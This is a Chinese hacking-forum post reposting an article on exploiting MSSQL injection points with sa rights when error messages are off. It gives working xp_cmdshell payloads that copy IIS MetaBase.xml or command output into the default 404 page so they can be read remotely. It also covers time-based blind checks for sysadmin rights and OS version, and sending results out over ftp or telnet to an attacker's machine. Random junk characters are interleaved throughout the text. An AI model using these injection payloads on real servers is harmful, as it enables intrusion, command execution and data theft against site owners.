找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1946|回复: 0
打印 上一主题 下一主题

28度的冰注入技巧之(一)——404页面的妙用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:15:42 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。+ I, ~3 Z* j' Y- f

2 N" s0 B0 X5 O! p3 }" \  虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。
# Y: W  Q1 Q; L3 a
4 b7 E' Q1 F  B1 ]9 u/ E' A  这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。$ N  p& y  }6 H$ p
" X: c6 n7 t5 \
  IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm( F- p% p; X3 G& B( S
8 q% h9 j# T- T! V5 P& o: Y- D: b
  得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--, P6 F" r' `1 H* v" K8 l  ]  _. n

! @! Y7 E3 K; B( y; r3 d  ,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。% e9 _8 m: [) F) T  |; o0 _$ W7 F

( T8 F* }) W( Z# ?: s1 c8 F( w  执行命令得到回显
7 l' m6 F2 _' C  i. u% I7 U1 I7 `+ @+ }# x  s4 U$ K3 ~1 [( s+ l4 {
  通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--( _* u$ ?# C1 i5 A/ ^4 n' j- f( a

" x7 G/ D" ?* }3 J  得到文件也shi相同,把文件copy到404b.htm就行了
/ Q/ ^+ c$ I- T" W7 _; r7 A0 p+ ]. i. j
  by 28ice, 2008/6/26
+ R8 {7 X% K: t6 \3 o" B
) ^- V4 y6 G% ?! l0 x  }2 i. f  e  摘自 28度的冰
  g, B: Q, }# R! L8 z) n% z' \+ J9 ^, p' F) T' ~2 @1 t
  盲注判断权限和操作系统版本
. f( g6 {5 x/ _9 N
& F, N  |! z4 V  首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?5 `. B) x. u5 Q& v3 l
# k7 x- {2 W! q, N% o" Z& T$ |
  最简单的,可能以用这样的方法:
8 Q% d# K# O" E$ R7 R$ O) a2 ~+ o& c) ~
  1=(select IS_SRVROLEMEMBER(’sysadmin’))
7 J  p& C! F$ U, o, F& Y% w& f7 H+ G
  当然,有些情况下,这个方法并不奏效。+ y3 n9 L, z: b
( d1 D. N& S, ^" d" @; Y7 s9 _
  既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。3 ~3 t" A8 V0 o: y1 a# @7 ]: k

7 G6 o2 O6 B/ A  有个3办法可能以解决这个问题
) Z9 A: d7 f8 g1 C, F
, t4 h+ J) I" B' ~; O6 v  a.把执行结果写到404b.htm,具体请看我的上一篇文章  S% B, W& g( V, Z% U

9 Q3 q$ U! Z* f& J4 i; _9 T  b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟
# e3 |! Q/ P0 C) _  v. W* W: N6 o/ B
  c.如果1433端口可能以连接,那干脆新建个sql登录
; a* K/ I5 T) P0 o% e8 r$ w8 A$ z- @$ R% h
  d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数- D; @# w7 O9 _' _
' x& Y' A/ ]" q! H+ W& W
  还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下
! @6 U; |( f3 k- d/ z8 [5 M% O9 R! S; g0 Y# M: C
  很简单0 i& y- g6 T  |& b4 a# {7 j
% V8 j. @; @; \) b. I; n( ^: B9 q* _
  执行systeminfo* @1 \* O. |. U. A  B

9 r3 g- B7 W$ ?7 o8 X9 ?  在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表